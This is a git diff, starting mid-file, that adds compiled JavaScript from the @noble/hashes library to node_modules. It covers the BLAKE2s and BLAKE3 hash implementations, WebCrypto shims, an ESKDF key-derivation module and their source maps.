v4, c: v8, d: v12 } = G1(v0, v4, v8, v12, msg[offset + s[j++]])); + ({ a: v0, b: v4, c: v8, d: v12 } = G2(v0, v4, v8, v12, msg[offset + s[j++]])); + ({ a: v1, b: v5, c: v9, d: v13 } = G1(v1, v5, v9, v13, msg[offset + s[j++]])); + ({ a: v1, b: v5, c: v9, d: v13 } = G2(v1, v5, v9, v13, msg[offset + s[j++]])); + ({ a: v2, b: v6, c: v10, d: v14 } = G1(v2, v6, v10, v14, msg[offset + s[j++]])); + ({ a: v2, b: v6, c: v10, d: v14 } = G2(v2, v6, v10, v14, msg[offset + s[j++]])); + ({ a: v3, b: v7, c: v11, d: v15 } = G1(v3, v7, v11, v15, msg[offset + s[j++]])); + ({ a: v3, b: v7, c: v11, d: v15 } = G2(v3, v7, v11, v15, msg[offset + s[j++]])); + ({ a: v0, b: v5, c: v10, d: v15 } = G1(v0, v5, v10, v15, msg[offset + s[j++]])); + ({ a: v0, b: v5, c: v10, d: v15 } = G2(v0, v5, v10, v15, msg[offset + s[j++]])); + ({ a: v1, b: v6, c: v11, d: v12 } = G1(v1, v6, v11, v12, msg[offset + s[j++]])); + ({ a: v1, b: v6, c: v11, d: v12 } = G2(v1, v6, v11, v12, msg[offset + s[j++]])); + ({ a: v2, b: v7, c: v8, d: v13 } = G1(v2, v7, v8, v13, msg[offset + s[j++]])); + ({ a: v2, b: v7, c: v8, d: v13 } = G2(v2, v7, v8, v13, msg[offset + s[j++]])); + ({ a: v3, b: v4, c: v9, d: v14 } = G1(v3, v4, v9, v14, msg[offset + s[j++]])); + ({ a: v3, b: v4, c: v9, d: v14 } = G2(v3, v4, v9, v14, msg[offset + s[j++]])); + } + return { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 }; +} +exports.compress = compress; +class BLAKE2s extends _blake2_js_1.BLAKE2 { + constructor(opts = {}) { + super(64, opts.dkLen === undefined ? 32 : opts.dkLen, opts, 32, 8, 8); + // Internal state, same as SHA-256 + this.v0 = exports.IV[0] | 0; + this.v1 = exports.IV[1] | 0; + this.v2 = exports.IV[2] | 0; + this.v3 = exports.IV[3] | 0; + this.v4 = exports.IV[4] | 0; + this.v5 = exports.IV[5] | 0; + this.v6 = exports.IV[6] | 0; + this.v7 = exports.IV[7] | 0; + const keyLength = opts.key ? opts.key.length : 0; + this.v0 ^= this.outputLen | (keyLength << 8) | (0x01 << 16) | (0x01 << 24); + if (opts.salt) { + const salt = (0, utils_js_1.u32)((0, utils_js_1.toBytes)(opts.salt)); + this.v4 ^= salt[0]; + this.v5 ^= salt[1]; + } + if (opts.personalization) { + const pers = (0, utils_js_1.u32)((0, utils_js_1.toBytes)(opts.personalization)); + this.v6 ^= pers[0]; + this.v7 ^= pers[1]; + } + if (opts.key) { + // Pad to blockLen and update + const tmp = new Uint8Array(this.blockLen); + tmp.set((0, utils_js_1.toBytes)(opts.key)); + this.update(tmp); + } + } + get() { + const { v0, v1, v2, v3, v4, v5, v6, v7 } = this; + return [v0, v1, v2, v3, v4, v5, v6, v7]; + } + // prettier-ignore + set(v0, v1, v2, v3, v4, v5, v6, v7) { + this.v0 = v0 | 0; + this.v1 = v1 | 0; + this.v2 = v2 | 0; + this.v3 = v3 | 0; + this.v4 = v4 | 0; + this.v5 = v5 | 0; + this.v6 = v6 | 0; + this.v7 = v7 | 0; + } + compress(msg, offset, isLast) { + const { h, l } = (0, _u64_js_1.fromBig)(BigInt(this.length)); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = compress(_blake2_js_1.SIGMA, offset, msg, 10, this.v0, this.v1, this.v2, this.v3, this.v4, this.v5, this.v6, this.v7, exports.IV[0], exports.IV[1], exports.IV[2], exports.IV[3], l ^ exports.IV[4], h ^ exports.IV[5], isLast ? ~exports.IV[6] : exports.IV[6], exports.IV[7]); + this.v0 ^= v0 ^ v8; + this.v1 ^= v1 ^ v9; + this.v2 ^= v2 ^ v10; + this.v3 ^= v3 ^ v11; + this.v4 ^= v4 ^ v12; + this.v5 ^= v5 ^ v13; + this.v6 ^= v6 ^ v14; + this.v7 ^= v7 ^ v15; + } + destroy() { + this.destroyed = true; + this.buffer32.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0); + } +} +/** + * BLAKE2s - optimized for 32-bit platforms. JS doesn't have uint64, so it's faster than BLAKE2b. + * @param msg - message that would be hashed + * @param opts - dkLen, key, salt, personalization + */ +exports.blake2s = (0, utils_js_1.wrapConstructorWithOpts)((opts) => new BLAKE2s(opts)); +//# sourceMappingURL=blake2s.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/blake2s.js.map b/node_modules/@noble/hashes/blake2s.js.map new file mode 100644 index 000000000000..ac692b3d23d0 --- /dev/null +++ b/node_modules/@noble/hashes/blake2s.js.map @@ -0,0 +1 @@ +{"version":3,"file":"blake2s.js","sourceRoot":"","sources":["src/blake2s.ts"],"names":[],"mappings":";;;AAAA,6CAAwD;AACxD,uCAAoC;AACpC,yCAAyE;AAEzE,iBAAiB;AACjB,yFAAyF;AACzF,kBAAkB;AAClB,kBAAkB;AACL,QAAA,EAAE,GAAkB,IAAI,WAAW,CAAC,CAAC,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,CAAC,CAAC,CAAC;AAEnJ,0CAA0C;AAC1C,SAAS,EAAE,CAAC,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS;IAC/D,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;IACpB,CAAC,GAAG,IAAA,eAAI,EAAC,CAAC,GAAG,CAAC,EAAE,EAAE,CAAC,CAAC;IACpB,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;IAChB,CAAC,GAAG,IAAA,eAAI,EAAC,CAAC,GAAG,CAAC,EAAE,EAAE,CAAC,CAAC;IACpB,OAAO,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC;AACxB,CAAC;AAED,SAAS,EAAE,CAAC,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS;IAC/D,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;IACpB,CAAC,GAAG,IAAA,eAAI,EAAC,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC,CAAC;IACnB,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,C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I,CAAC,EAAE,IAAI,EAAE,GAAG,EAAE,CAAC;QACnB,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,EAAE,CAAC;QACnB,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,GAAG,CAAC;QACpB,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,GAAG,CAAC;QACpB,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,GAAG,CAAC;QACpB,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,GAAG,CAAC;QACpB,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,GAAG,CAAC;QACpB,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,GAAG,CAAC;IACtB,CAAC;IACD,OAAO;QACL,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;QACtB,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QACtB,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC;IACnC,CAAC;CACF;AAED;;;;GAIG;AACU,QAAA,OAAO,GAAmB,IAAA,kCAAuB,EAC5D,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,OAAO,CAAC,IAAI,CAAC,CAC5B,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/blake3.d.ts b/node_modules/@noble/hashes/blake3.d.ts new file mode 100644 index 000000000000..13894cf6d826 --- /dev/null +++ b/node_modules/@noble/hashes/blake3.d.ts @@ -0,0 +1,46 @@ +import { BLAKE2 } from './_blake2.js'; +import { Input, HashXOF } from './utils.js'; +export type Blake3Opts = { + dkLen?: number; + key?: Input; + context?: Input; +}; +declare class BLAKE3 extends BLAKE2 implements HashXOF { + private IV; + private flags; + private state; + private chunkPos; + private chunksDone; + private stack; + private posOut; + private bufferOut32; + private bufferOut; + private chunkOut; + private enableXOF; + constructor(opts?: Blake3Opts, flags?: number); + protected get(): never[]; + protected set(): void; + private b2Compress; + protected compress(buf: Uint32Array, bufPos?: number, isLast?: boolean): void; + _cloneInto(to?: BLAKE3): BLAKE3; + destroy(): void; + private b2CompressOut; + protected finish(): void; + private writeInto; + xofInto(out: Uint8Array): Uint8Array; + xof(bytes: number): Uint8Array; + digestInto(out: Uint8Array): Uint8Array; + digest(): Uint8Array; +} +/** + * BLAKE3 hash function. + * @param msg - message that would be hashed + * @param opts - dkLen, key, context + */ +export declare const blake3: { + (msg: Input, opts?: Blake3Opts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: Blake3Opts): HashXOF; +}; +export {}; diff --git a/node_modules/@noble/hashes/blake3.js b/node_modules/@noble/hashes/blake3.js new file mode 100644 index 000000000000..3c339f546e70 --- /dev/null +++ b/node_modules/@noble/hashes/blake3.js @@ -0,0 +1,229 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.blake3 = void 0; +const _assert_js_1 = require("./_assert.js"); +const _u64_js_1 = require("./_u64.js"); +const _blake2_js_1 = require("./_blake2.js"); +const blake2s_js_1 = require("./blake2s.js"); +const utils_js_1 = require("./utils.js"); +const SIGMA = /* @__PURE__ */ (() => { + const Id = Array.from({ length: 16 }, (_, i) => i); + const permute = (arr) => [2, 6, 3, 10, 7, 0, 4, 13, 1, 11, 12, 5, 9, 14, 15, 8].map((i) => arr[i]); + const res = []; + for (let i = 0, v = Id; i < 7; i++, v = permute(v)) + res.push(...v); + return Uint8Array.from(res); +})(); +// Why is this so slow? It should be 6x faster than blake2b. +// - There is only 30% reduction in number of rounds from blake2s +// - This function uses tree mode to achive parallelisation via SIMD and threading, +// however in JS we don't have threads and SIMD, so we get only overhead from tree structure +// - It is possible to speed it up via Web Workers, hovewer it will make code singnificantly more +// complicated, which we are trying to avoid, since this library is intended to be used +// for cryptographic purposes. Also, parallelization happens only on chunk level (1024 bytes), +// which won't really benefit small inputs. +class BLAKE3 extends _blake2_js_1.BLAKE2 { + constructor(opts = {}, flags = 0) { + super(64, opts.dkLen === undefined ? 32 : opts.dkLen, {}, Number.MAX_SAFE_INTEGER, 0, 0); + this.flags = 0 | 0; + this.chunkPos = 0; // Position of current block in chunk + this.chunksDone = 0; // How many chunks we already have + this.stack = []; + // Output + this.posOut = 0; + this.bufferOut32 = new Uint32Array(16); + this.chunkOut = 0; // index of output chunk + this.enableXOF = true; + this.outputLen = opts.dkLen === undefined ? 32 : opts.dkLen; + (0, _assert_js_1.number)(this.outputLen); + if (opts.key !== undefined && opts.context !== undefined) + throw new Error('Blake3: only key or context can be specified at same time'); + else if (opts.key !== undefined) { + const key = (0, utils_js_1.toBytes)(opts.key).slice(); + if (key.length !== 32) + throw new Error('Blake3: key should be 32 byte'); + this.IV = (0, utils_js_1.u32)(key); + this.flags = flags | 16 /* Flags.KEYED_HASH */; + } + else if (opts.context !== undefined) { + const context_key = new BLAKE3({ dkLen: 32 }, 32 /* Flags.DERIVE_KEY_CONTEXT */) + .update(opts.context) + .digest(); + this.IV = (0, utils_js_1.u32)(context_key); + this.flags = flags | 64 /* Flags.DERIVE_KEY_MATERIAL */; + } + else { + this.IV = blake2s_js_1.IV.slice(); + this.flags = flags; + } + this.state = this.IV.slice(); + this.bufferOut = (0, utils_js_1.u8)(this.bufferOut32); + } + // Unused + get() { + return []; + } + set() { } + b2Compress(counter, flags, buf, bufPos = 0) { + const { state: s, pos } = this; + const { h, l } = (0, _u64_js_1.fromBig)(BigInt(counter), true); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = (0, blake2s_js_1.compress)(SIGMA, bufPos, buf, 7, s[0], s[1], s[2], s[3], s[4], s[5], s[6], s[7], blake2s_js_1.IV[0], blake2s_js_1.IV[1], blake2s_js_1.IV[2], blake2s_js_1.IV[3], h, l, pos, flags); + s[0] = v0 ^ v8; + s[1] = v1 ^ v9; + s[2] = v2 ^ v10; + s[3] = v3 ^ v11; + s[4] = v4 ^ v12; + s[5] = v5 ^ v13; + s[6] = v6 ^ v14; + s[7] = v7 ^ v15; + } + compress(buf, bufPos = 0, isLast = false) { + // Compress last block + let flags = this.flags; + if (!this.chunkPos) + flags |= 1 /* Flags.CHUNK_START */; + if (this.chunkPos === 15 || isLast) + flags |= 2 /* Flags.CHUNK_END */; + if (!isLast) + this.pos = this.blockLen; + this.b2Compress(this.chunksDone, flags, buf, bufPos); + this.chunkPos += 1; + // If current block is last in chunk (16 blocks), then compress chunks + if (this.chunkPos === 16 || isLast) { + let chunk = this.state; + this.state = this.IV.slice(); + // If not the last one, compress only when there are trailing zeros in chunk counter + // chunks used as binary tree where current stack is path. Zero means current leaf is finished and can be compressed. + // 1 (001) - leaf not finished (just push current chunk to stack) + // 2 (010) - leaf finished at depth=1 (merge with last elm on stack and push back) + // 3 (011) - last leaf not finished + // 4 (100) - leafs finished at depth=1 and depth=2 + for (let last, chunks = this.chunksDone + 1; isLast || !(chunks & 1); chunks >>= 1) { + if (!(last = this.stack.pop())) + break; + this.buffer32.set(last, 0); + this.buffer32.set(chunk, 8); + this.pos = this.blockLen; + this.b2Compress(0, this.flags | 4 /* Flags.PARENT */, this.buffer32, 0); + chunk = this.state; + this.state = this.IV.slice(); + } + this.chunksDone++; + this.chunkPos = 0; + this.stack.push(chunk); + } + this.pos = 0; + } + _cloneInto(to) { + to = super._cloneInto(to); + const { IV, flags, state, chunkPos, posOut, chunkOut, stack, chunksDone } = this; + to.state.set(state.slice()); + to.stack = stack.map((i) => Uint32Array.from(i)); + to.IV.set(IV); + to.flags = flags; + to.chunkPos = chunkPos; + to.chunksDone = chunksDone; + to.posOut = posOut; + to.chunkOut = chunkOut; + to.enableXOF = this.enableXOF; + to.bufferOut32.set(this.bufferOut32); + return to; + } + destroy() { + this.destroyed = true; + this.state.fill(0); + this.buffer32.fill(0); + this.IV.fill(0); + this.bufferOut32.fill(0); + for (let i of this.stack) + i.fill(0); + } + // Same as b2Compress, but doesn't modify state and returns 16 u32 array (instead of 8) + b2CompressOut() { + const { state: s, pos, flags, buffer32, bufferOut32: out32 } = this; + const { h, l } = (0, _u64_js_1.fromBig)(BigInt(this.chunkOut++)); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = (0, blake2s_js_1.compress)(SIGMA, 0, buffer32, 7, s[0], s[1], s[2], s[3], s[4], s[5], s[6], s[7], blake2s_js_1.IV[0], blake2s_js_1.IV[1], blake2s_js_1.IV[2], blake2s_js_1.IV[3], l, h, pos, flags); + out32[0] = v0 ^ v8; + out32[1] = v1 ^ v9; + out32[2] = v2 ^ v10; + out32[3] = v3 ^ v11; + out32[4] = v4 ^ v12; + out32[5] = v5 ^ v13; + out32[6] = v6 ^ v14; + out32[7] = v7 ^ v15; + out32[8] = s[0] ^ v8; + out32[9] = s[1] ^ v9; + out32[10] = s[2] ^ v10; + out32[11] = s[3] ^ v11; + out32[12] = s[4] ^ v12; + out32[13] = s[5] ^ v13; + out32[14] = s[6] ^ v14; + out32[15] = s[7] ^ v15; + this.posOut = 0; + } + finish() { + if (this.finished) + return; + this.finished = true; + // Padding + this.buffer.fill(0, this.pos); + // Process last chunk + let flags = this.flags | 8 /* Flags.ROOT */; + if (this.stack.length) { + flags |= 4 /* Flags.PARENT */; + this.compress(this.buffer32, 0, true); + this.chunksDone = 0; + this.pos = this.blockLen; + } + else { + flags |= (!this.chunkPos ? 1 /* Flags.CHUNK_START */ : 0) | 2 /* Flags.CHUNK_END */; + } + this.flags = flags; + this.b2CompressOut(); + } + writeInto(out) { + (0, _assert_js_1.exists)(this, false); + (0, _assert_js_1.bytes)(out); + this.finish(); + const { blockLen, bufferOut } = this; + for (let pos = 0, len = out.length; pos < len;) { + if (this.posOut >= blockLen) + this.b2CompressOut(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out) { + if (!this.enableXOF) + throw new Error('XOF is not possible after digest call'); + return this.writeInto(out); + } + xof(bytes) { + (0, _assert_js_1.number)(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out) { + (0, _assert_js_1.output)(out, this); + if (this.finished) + throw new Error('digest() was already called'); + this.enableXOF = false; + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } +} +/** + * BLAKE3 hash function. + * @param msg - message that would be hashed + * @param opts - dkLen, key, context + */ +exports.blake3 = (0, utils_js_1.wrapXOFConstructorWithOpts)((opts) => new BLAKE3(opts)); +//# sourceMappingURL=blake3.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/blake3.js.map b/node_modules/@noble/hashes/blake3.js.map new file mode 100644 index 000000000000..7ed8fd6977e0 --- /dev/null +++ b/node_modules/@noble/hashes/blake3.js.map @@ -0,0 +1 @@ +{"version":3,"file":"blake3.js","sourceRoot":"","sources":["src/blake3.ts"],"names":[],"mappings":";;;AAAA,6CAA6D;AAC7D,uCAAoC;AACpC,6CAAsC;AACtC,6CAA4C;AAC5C,yCAA0F;AAe1F,MAAM,KAAK,GAAe,eAAe,CAAC,CAAC,GAAG,EAAE;IAC9C,MAAM,EAAE,GAAG,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,EAAE,EAAE,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC;IACnD,MAAM,OAAO,GAAG,CAAC,GAAa,EAAE,EAAE,CAChC,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;IAC5E,MAAM,GAAG,GAAa,EAAE,CAAC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MAAM;QACJ,OAAO,IAAI,CAAC,UAAU,CAAC,IAAI,UAAU,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC,CAAC;IACzD,CAAC;CACF;AAED;;;;GAIG;AACU,QAAA,MAAM,GAAmB,IAAA,qCAA0B,EAC9D,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,MAAM,CAAC,IAAI,CAAC,CAC3B,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/crypto.d.ts b/node_modules/@noble/hashes/crypto.d.ts new file mode 100644 index 000000000000..cebbcd1caadb --- /dev/null +++ b/node_modules/@noble/hashes/crypto.d.ts @@ -0,0 +1 @@ +export declare const crypto: any; diff --git a/node_modules/@noble/hashes/crypto.js b/node_modules/@noble/hashes/crypto.js new file mode 100644 index 000000000000..8226391ffa96 --- /dev/null +++ b/node_modules/@noble/hashes/crypto.js @@ -0,0 +1,5 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.crypto = void 0; +exports.crypto = typeof globalThis === 'object' && 'crypto' in globalThis ? globalThis.crypto : undefined; +//# sourceMappingURL=crypto.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/crypto.js.map b/node_modules/@noble/hashes/crypto.js.map new file mode 100644 index 000000000000..9f794e2a03eb --- /dev/null +++ b/node_modules/@noble/hashes/crypto.js.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto.js","sourceRoot":"","sources":["src/crypto.ts"],"names":[],"mappings":";;;AAGa,QAAA,MAAM,GACjB,OAAO,UAAU,KAAK,QAAQ,IAAI,QAAQ,IAAI,UAAU,CAAC,CAAC,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC,CAAC,SAAS,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/cryptoNode.d.ts b/node_modules/@noble/hashes/cryptoNode.d.ts new file mode 100644 index 000000000000..cebbcd1caadb --- /dev/null +++ b/node_modules/@noble/hashes/cryptoNode.d.ts @@ -0,0 +1 @@ +export declare const crypto: any; diff --git a/node_modules/@noble/hashes/cryptoNode.js b/node_modules/@noble/hashes/cryptoNode.js new file mode 100644 index 000000000000..a88676d12719 --- /dev/null +++ b/node_modules/@noble/hashes/cryptoNode.js @@ -0,0 +1,10 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.crypto = void 0; +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// See utils.ts for details. +// The file will throw on node.js 14 and earlier. +// @ts-ignore +const nc = require("node:crypto"); +exports.crypto = nc && typeof nc === 'object' && 'webcrypto' in nc ? nc.webcrypto : undefined; +//# sourceMappingURL=cryptoNode.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/cryptoNode.js.map b/node_modules/@noble/hashes/cryptoNode.js.map new file mode 100644 index 000000000000..9287d276b6d1 --- /dev/null +++ b/node_modules/@noble/hashes/cryptoNode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"cryptoNode.js","sourceRoot":"","sources":["src/cryptoNode.ts"],"names":[],"mappings":";;;AAAA,oFAAoF;AACpF,4BAA4B;AAC5B,iDAAiD;AACjD,aAAa;AACb,kCAAkC;AACrB,QAAA,MAAM,GACjB,EAAE,IAAI,OAAO,EAAE,KAAK,QAAQ,IAAI,WAAW,IAAI,EAAE,CAAC,CAAC,CAAE,EAAE,CAAC,SAAiB,CAAC,CAAC,CAAC,SAAS,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/eskdf.d.ts b/node_modules/@noble/hashes/eskdf.d.ts new file mode 100644 index 000000000000..f0fc54d264fe --- /dev/null +++ b/node_modules/@noble/hashes/eskdf.d.ts @@ -0,0 +1,46 @@ +export declare function scrypt(password: string, salt: string): Uint8Array; +export declare function pbkdf2(password: string, salt: string): Uint8Array; +/** + * Derives main seed. Takes a lot of time. Prefer `eskdf` method instead. + */ +export declare function deriveMainSeed(username: string, password: string): Uint8Array; +type AccountID = number | string; +type OptsLength = { + keyLength: number; +}; +type OptsMod = { + modulus: bigint; +}; +type KeyOpts = undefined | OptsLength | OptsMod; +type ESKDF = Promise Uint8Array; + /** + * Deletes the main seed from eskdf instance + */ + expire: () => void; + /** + * Account fingerprint + */ + fingerprint: string; +}>>; +/** + * ESKDF + * @param username - username, email, or identifier, min: 8 characters, should have enough entropy + * @param password - password, min: 8 characters, should have enough entropy + * @example + * const kdf = await eskdf('example-university', 'beginning-new-example'); + * const key = kdf.deriveChildKey('aes', 0); + * console.log(kdf.fingerprint); + * kdf.expire(); + */ +export declare function eskdf(username: string, password: string): ESKDF; +export {}; diff --git a/node_modules/@noble/hashes/eskdf.js b/node_modules/@noble/hashes/eskdf.js new file mode 100644 index 000000000000..bc622b6aedea --- /dev/null +++ b/node_modules/@noble/hashes/eskdf.js @@ -0,0 +1,162 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.eskdf = exports.deriveMainSeed = exports.pbkdf2 = exports.scrypt = void 0; +const _assert_js_1 = require("./_assert.js"); +const hkdf_js_1 = require("./hkdf.js"); +const sha256_js_1 = require("./sha256.js"); +const pbkdf2_js_1 = require("./pbkdf2.js"); +const scrypt_js_1 = require("./scrypt.js"); +const utils_js_1 = require("./utils.js"); +// A tiny KDF for various applications like AES key-gen. +// Uses HKDF in a non-standard way, so it's not "KDF-secure", only "PRF-secure". +// Which is good enough: assume sha2-256 retained preimage resistance. +const SCRYPT_FACTOR = 2 ** 19; +const PBKDF2_FACTOR = 2 ** 17; +// Scrypt KDF +function scrypt(password, salt) { + return (0, scrypt_js_1.scrypt)(password, salt, { N: SCRYPT_FACTOR, r: 8, p: 1, dkLen: 32 }); +} +exports.scrypt = scrypt; +// PBKDF2-HMAC-SHA256 +function pbkdf2(password, salt) { + return (0, pbkdf2_js_1.pbkdf2)(sha256_js_1.sha256, password, salt, { c: PBKDF2_FACTOR, dkLen: 32 }); +} +exports.pbkdf2 = pbkdf2; +// Combines two 32-byte byte arrays +function xor32(a, b) { + (0, _assert_js_1.bytes)(a, 32); + (0, _assert_js_1.bytes)(b, 32); + const arr = new Uint8Array(32); + for (let i = 0; i < 32; i++) { + arr[i] = a[i] ^ b[i]; + } + return arr; +} +function strHasLength(str, min, max) { + return typeof str === 'string' && str.length >= min && str.length <= max; +} +/** + * Derives main seed. Takes a lot of time. Prefer `eskdf` method instead. + */ +function deriveMainSeed(username, password) { + if (!strHasLength(username, 8, 255)) + throw new Error('invalid username'); + if (!strHasLength(password, 8, 255)) + throw new Error('invalid password'); + const scr = scrypt(password + '\u{1}', username + '\u{1}'); + const pbk = pbkdf2(password + '\u{2}', username + '\u{2}'); + const res = xor32(scr, pbk); + scr.fill(0); + pbk.fill(0); + return res; +} +exports.deriveMainSeed = deriveMainSeed; +/** + * Converts protocol & accountId pair to HKDF salt & info params. + */ +function getSaltInfo(protocol, accountId = 0) { + // Note that length here also repeats two lines below + // We do an additional length check here to reduce the scope of DoS attacks + if (!(strHasLength(protocol, 3, 15) && /^[a-z0-9]{3,15}$/.test(protocol))) { + throw new Error('invalid protocol'); + } + // Allow string account ids for some protocols + const allowsStr = /^password\d{0,3}|ssh|tor|file$/.test(protocol); + let salt; // Extract salt. Default is undefined. + if (typeof accountId === 'string') { + if (!allowsStr) + throw new Error('accountId must be a number'); + if (!strHasLength(accountId, 1, 255)) + throw new Error('accountId must be valid string'); + salt = (0, utils_js_1.toBytes)(accountId); + } + else if (Number.isSafeInteger(accountId)) { + if (accountId < 0 || accountId > 2 ** 32 - 1) + throw new Error('invalid accountId'); + // Convert to Big Endian Uint32 + salt = new Uint8Array(4); + (0, utils_js_1.createView)(salt).setUint32(0, accountId, false); + } + else { + throw new Error(`accountId must be a number${allowsStr ? ' or string' : ''}`); + } + const info = (0, utils_js_1.toBytes)(protocol); + return { salt, info }; +} +function countBytes(num) { + if (typeof num !== 'bigint' || num <= BigInt(128)) + throw new Error('invalid number'); + return Math.ceil(num.toString(2).length / 8); +} +/** + * Parses keyLength and modulus options to extract length of result key. + * If modulus is used, adds 64 bits to it as per FIPS 186 B.4.1 to combat modulo bias. + */ +function getKeyLength(options) { + if (!options || typeof options !== 'object') + return 32; + const hasLen = 'keyLength' in options; + const hasMod = 'modulus' in options; + if (hasLen && hasMod) + throw new Error('cannot combine keyLength and modulus options'); + if (!hasLen && !hasMod) + throw new Error('must have either keyLength or modulus option'); + // FIPS 186 B.4.1 requires at least 64 more bits + const l = hasMod ? countBytes(options.modulus) + 8 : options.keyLength; + if (!(typeof l === 'number' && l >= 16 && l <= 8192)) + throw new Error('invalid keyLength'); + return l; +} +/** + * Converts key to bigint and divides it by modulus. Big Endian. + * Implements FIPS 186 B.4.1, which removes 0 and modulo bias from output. + */ +function modReduceKey(key, modulus) { + const _1 = BigInt(1); + const num = BigInt('0x' + (0, utils_js_1.bytesToHex)(key)); // check for ui8a, then bytesToNumber() + const res = (num % (modulus - _1)) + _1; // Remove 0 from output + if (res < _1) + throw new Error('expected positive number'); // Guard against bad values + const len = key.length - 8; // FIPS requires 64 more bits = 8 bytes + const hex = res.toString(16).padStart(len * 2, '0'); // numberToHex() + const bytes = (0, utils_js_1.hexToBytes)(hex); + if (bytes.length !== len) + throw new Error('invalid length of result key'); + return bytes; +} +/** + * ESKDF + * @param username - username, email, or identifier, min: 8 characters, should have enough entropy + * @param password - password, min: 8 characters, should have enough entropy + * @example + * const kdf = await eskdf('example-university', 'beginning-new-example'); + * const key = kdf.deriveChildKey('aes', 0); + * console.log(kdf.fingerprint); + * kdf.expire(); + */ +async function eskdf(username, password) { + // We are using closure + object instead of class because + // we want to make `seed` non-accessible for any external function. + let seed = deriveMainSeed(username, password); + function deriveCK(protocol, accountId = 0, options) { + (0, _assert_js_1.bytes)(seed, 32); + const { salt, info } = getSaltInfo(protocol, accountId); // validate protocol & accountId + const keyLength = getKeyLength(options); // validate options + const key = (0, hkdf_js_1.hkdf)(sha256_js_1.sha256, seed, salt, info, keyLength); + // Modulus has already been validated + return options && 'modulus' in options ? modReduceKey(key, options.modulus) : key; + } + function expire() { + if (seed) + seed.fill(1); + seed = undefined; + } + // prettier-ignore + const fingerprint = Array.from(deriveCK('fingerprint', 0)) + .slice(0, 6) + .map((char) => char.toString(16).padStart(2, '0').toUpperCase()) + .join(':'); + return Object.freeze({ deriveChildKey: deriveCK, expire, fingerprint }); +} +exports.eskdf = eskdf; +//# sourceMappingURL=eskdf.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/eskdf.js.map b/node_modules/@noble/hashes/eskdf.js.map new file mode 100644 index 000000000000..70c49e9f933a --- /dev/null +++ b/node_modules/@noble/hashes/eskdf.js.map @@ -0,0 +1 @@ 